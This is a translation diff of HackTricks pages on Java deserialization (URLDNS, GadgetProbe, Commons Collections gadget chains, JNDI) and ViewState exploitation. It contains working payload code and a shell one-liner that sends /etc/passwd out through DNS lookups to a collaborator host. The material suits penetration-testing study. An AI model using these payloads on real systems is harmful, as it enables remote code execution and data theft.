**ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,**有效负载将不会被应用程序处理**。\
你需要使用一个额外的参数来正确创建有效负载:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### 成功利用的结果 <a href="#poc" id="poc"></a>
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
对于所有测试用例,如果 ViewState YSoSerial.Net 有效载荷 **成功** 工作,则服务器响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB reques.
查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
Check for [further information here](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
## References
## 参考文献
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
@ -215,9 +181,8 @@ Check for [further information here](<https://github.com/carlospolop/hacktricks/
<figure><img src="../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级 **漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,76 +1,65 @@
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
# Java DNS 反序列化GadgetProbe 和 Java 反序列化扫描器
{{#include ../../banners/hacktricks-training.md}}
## DNS request on deserialization
The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
## 反序列化中的 DNS 请求
`java.net.URL` 实现了 `Serializable`,这意味着该类可以被序列化。
```java
public final class URL implements java.io.Serializable {
```
这个类有一个**奇怪的行为**。根据文档:“**如果两个主机名可以解析为相同的IP地址则这两个主机被视为等效**”。\
因此每当一个URL对象调用**任何**的**函数`equals`**或**`hashCode`**时,都会**发送**一个**DNS请求**以获取IP地址。
This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**.
**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
**从**一个**URL**对象调用**`hashCode`**函数非常简单,只需将该对象插入到一个将要被反序列化的`HashMap`中即可。这是因为在`HashMap`的**`readObject`**函数的**最后**,会执行以下代码:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`.
Now, lets take a look to the code of `URLObject.hashCode()` :
它将**执行** `putVal`,使用 `HashMap` 中的每个值。但更相关的是对每个值的 `hash` 调用。以下是 `hash` 函数的代码:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
如您所见,**在反序列化**一个**`HashMap`**时,函数`hash`将**对每个对象执行**,并且**在**`hash`执行期间**将执行对象的`.hashCode()`。因此,如果您**反序列化**一个**包含**URL对象的**`HashMap`**,则**URL对象**将**执行**`.hashCode()`
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
现在,让我们来看一下`URLObject.hashCode()`的代码:
```java
protected int hashCode(URL u) {
int h = 0;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
hashCode = handler.hashCode(this);
return hashCode;
```
如您所见,当 `URLObject` 执行 `.hashCode()` 时,它被称为 `hashCode(this)`。接下来,您可以看到此函数的代码:
```java
protected int hashCode(URL u) {
int h = 0;
You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**.
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
您可以看到对域名执行了 `getHostAddress`**发起了 DNS 查询**。
### URLDNS payload code example
因此,这个类可以被**滥用**以**发起**一个**DNS 查询**,以**演示****反序列化**是可能的,甚至可以**外泄信息**(您可以将命令执行的输出作为子域名附加)。
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
### URLDNS 负载代码示例
您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是,为了更容易理解如何编码,我创建了我自己的 PoC基于 ysoserial 的那个):
```java
import java.io.File;
import java.io.FileInputStream;
@ -86,117 +75,113 @@ import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### More information
### 更多信息
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- 在最初的想法中commons collections 负载被更改为执行 DNS 查询,这比提议的方法不太可靠,但这是文章:[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
您可以从 Burp Suite 应用商店Extender下载 [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)。
**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit.
**GadgetProbe** 将尝试确定服务器的 Java 类中是否存在某些 **Java 类**,以便您可以知道 **是否****易受** 某些已知漏洞的攻击。
### How does it work
### 它是如何工作的
**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.
**GadgetProbe** 将使用上一节的 **DNS 负载**,但在运行 DNS 查询之前,它将 **尝试反序列化一个任意类**。如果 **任意类存在**,则 **DNS 查询** 将被 **发送**GadgetProbe 将记录该类存在。如果 **DNS** 请求 **从未发送**,这意味着 **任意类未成功反序列化**,因此它要么不存在,要么 **不可序列化/不可利用**
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested.
在 GitHub 中,[**GadgetProbe 有一些字典**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) 用于测试的 Java 类。
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### More Information
### 更多信息
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Scanner
## Java 反序列化扫描仪
This scanner can be **download** from the Burp App Store (**Extender**).\
The **extension** has **passive** and active **capabilities**.
此扫描仪可以从 Burp 应用商店(**Extender****下载**。\
**扩展** 具有 **被动** 和主动 **功能**
### Passive
### 被动
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
默认情况下,它会 **被动检查** 所有请求和响应,**寻找** **Java 序列化魔法字节**,如果发现任何,将呈现漏洞警告:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Active
### 主动
**Manual Testing**
**手动测试**
You can select a request, right click and `Send request to DS - Manual Testing`.\
Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
您可以选择一个请求,右键单击并选择 `Send request to DS - Manual Testing`\
然后,在 _Deserialization Scanner Tab_ --> _Manual testing tab_ 中,您可以选择 **插入点**。并 **启动测试**(根据使用的编码选择适当的攻击)。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
即使这被称为“手动测试”,它也是相当 **自动化** 的。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击,检查 Web 服务器上存在的库,并突出显示易受攻击的库。为了 **检查** **易受攻击的库**,您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**,或使用 **DNS**,正如之前提到的那样。
**Exploiting**
**利用**
Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
一旦您识别出一个易受攻击的库,您可以将请求发送到 _Exploiting Tab_\
在此选项卡中,您必须再次 **选择** **注入点**,并 **写入** 您想要为其创建负载的 **易受攻击库****命令**。然后,只需按下适当的 **攻击** 按钮。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java Deserialization DNS Exfil information
Make your payload execute something like the following:
### Java 反序列化 DNS 外泄信息
使您的负载执行类似以下内容:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### More Information
### 更多信息
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
Check the posts:
检查帖子:
- [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,8 +4,7 @@
## Java Transformers to Rutime exec()
In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:
在多个地方您可以找到一个使用来自Apache common collections的transformers的java反序列化payload如下所示
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -17,168 +16,148 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
//Execute gadgets
lazyMap.get("anything");
}
}
```
如果你对 Java 反序列化有效载荷一无所知,可能很难弄清楚为什么这段代码会执行一个计算器。
If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.
First of all you need to know that a **Transformer in Java** is something that **receives a class** and **transforms it to a different one**.\
Also it's interesting to know that the **payload** being **executed** here is **equivalent** to:
首先,你需要知道 **Java 中的 Transformer** 是指 **接收一个类****将其转换为另一个类** 的东西。\
此外,值得注意的是,这里被 **执行****有效载荷****等同于**
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
Or **more exactly**, what is going to be executed at the end would be:
或者**更准确地**说,最后将被执行的是:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### 如何
### How
So, how is the first payload presented equivalent to those "simple" one-liners?
**First** of all, you can notice in the payload that a **chain (array) of transforms are created**:
那么,为什么第一个有效载荷呈现的形式等同于那些“简单”的单行代码呢?
**首先**,您可以注意到在有效载荷中创建了一个 **变换链(数组)**
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
如果你阅读代码,你会注意到,如果你以某种方式链接数组的转换,你将能够执行任意命令。
If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.
So, **how are those transforms chained?**
那么,**这些转换是如何链接的?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute:
在有效负载的最后部分,您可以看到一个 **Map 对象被创建**。然后,从 `LazyMap` 执行函数 `decorate`,传入 map 对象和链式转换器。从以下代码可以看出,这将导致 **链式转换器** 被复制到 `lazyMap.factory` 属性中:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
然后伟大的结局被执行: `lazyMap.get("anything");`
And then the great finale is executed: `lazyMap.get("anything");`
This is the code of the `get` function:
这是 `get` 函数的代码:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
And this is the code of the `transform` function
这是 `transform` 函数的代码
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
所以,请记住,在 **factory** 中我们保存了 **`chainedTransformer`**,在 **`transform`** 函数中,我们 **遍历所有这些链式变换器** 并一个接一个地执行。 有趣的是,**每个变换器都使用 `object`** **作为输入**,而 **object 是上一个执行的变换器的输出**。 因此,**所有变换都是链式执行恶意有效负载**。
So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**.
### Summary
At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:
### 摘要
最后,由于 lazyMap 在 get 方法中管理链式变换器的方式,就像我们在执行以下代码一样:
```java
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
new Class[]{String.class},
command
).transform(value); //(4)
```
_Note how `value` is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:_
_注意 `value` 是每个转换的输入和前一个转换的输出从而允许执行一行代码_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
注意,这里**解释了用于**ComonsCollections1**有效负载的工具**。但**如何开始执行这一切**仍然没有说明。你可以在[这里看到**ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java),为了执行这个有效负载,它使用了一个`AnnotationInvocationHandler`对象,因为**当这个对象被反序列化时**,它将**调用**`payload.get()`函数,这将**执行整个有效负载**。
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**.
## Java Thread Sleep
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**.
## Java 线程休眠
这个有效负载可能**有助于识别网站是否存在漏洞,因为如果存在漏洞,它将执行休眠**。
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -192,41 +171,39 @@ import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
//Execute gadgets
lazyMap.get("anything");
}
}
}
```
## 更多小工具
## More Gadgets
You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
您可以在这里找到更多小工具: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,159 +2,156 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
JNDI自1990年代末以来集成到Java中作为目录服务使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口SPIs支持各种目录服务允许从不同系统检索数据包括远程Java对象。常见的SPIs包括CORBA COS、Java RMI Registry和LDAP。
### JNDI Naming Reference
### JNDI命名参考
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
Java对象可以使用JNDI命名引用进行存储和检索形式有两种
- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
- **引用地址**指定对象的位置例如_rmi://server/ref_允许直接从指定地址检索。
- **远程工厂**:引用一个远程工厂类。当访问时,该类会从远程位置下载并实例化。
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
然而,这种机制可能被利用,可能导致加载和执行任意代码。作为对策:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
- **RMI**`java.rmi.server.useCodeabseOnly = true` 从JDK 7u21开始默认启用限制远程对象加载。安全管理器进一步限制可以加载的内容。
- **LDAP**`com.sun.jndi.ldap.object.trustURLCodebase = false` 从JDK 6u141、7u131、8u121开始默认启用阻止执行远程加载的Java对象。如果设置为`true`,则可以在没有安全管理器监督的情况下进行远程代码执行。
- **CORBA**:没有特定属性,但安全管理器始终处于活动状态。
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
然而负责解析JNDI链接的**命名管理器**缺乏内置安全机制可能允许从任何来源检索对象。这构成风险因为RMI、LDAP和CORBA的保护措施可能被绕过导致加载任意Java对象或利用现有应用组件小工具运行恶意代码。
Examples of exploitable URLs include:
可利用的URL示例包括
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
尽管有保护措施漏洞仍然存在主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。
### JNDI Example
### JNDI示例
![](<../../images/image (1022).png>)
Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a lookup and it will be accessed: `ctx.lookup("<attacker-controlled-url>")` and that is what an attacker will abuse to load arbitrary objects from a system controlled by him.
即使您已设置**`PROVIDER_URL`**您仍可以在查找中指示不同的URL并将其访问`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者将利用的内容,从他控制的系统加载任意对象。
### CORBA Overview
### CORBA概述
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
CORBA(通用对象请求代理架构)使用**可互操作对象引用IOR**唯一标识远程对象。此引用包含关键信息,如:
- **Type ID**: Unique identifier for an interface.
- **Codebase**: URL for obtaining the stub class.
- **类型ID**:接口的唯一标识符。
- **代码库**获取存根类的URL。
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
值得注意的是CORBA本身并不脆弱。确保安全通常涉及
- Installation of a **Security Manager**.
- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
- Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
- 安装**安全管理器**。
- 配置安全管理器以允许连接到潜在恶意的代码库。这可以通过以下方式实现:
- 套接字权限,例如,`permissions java.net.SocketPermission "*:1098-1099", "connect";`
- 文件读取权限,可以是通用的(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)或针对可能放置恶意文件的特定目录。
However, some vendor policies might be lenient and allow these connections by default.
然而,一些供应商政策可能会宽松,默认允许这些连接。
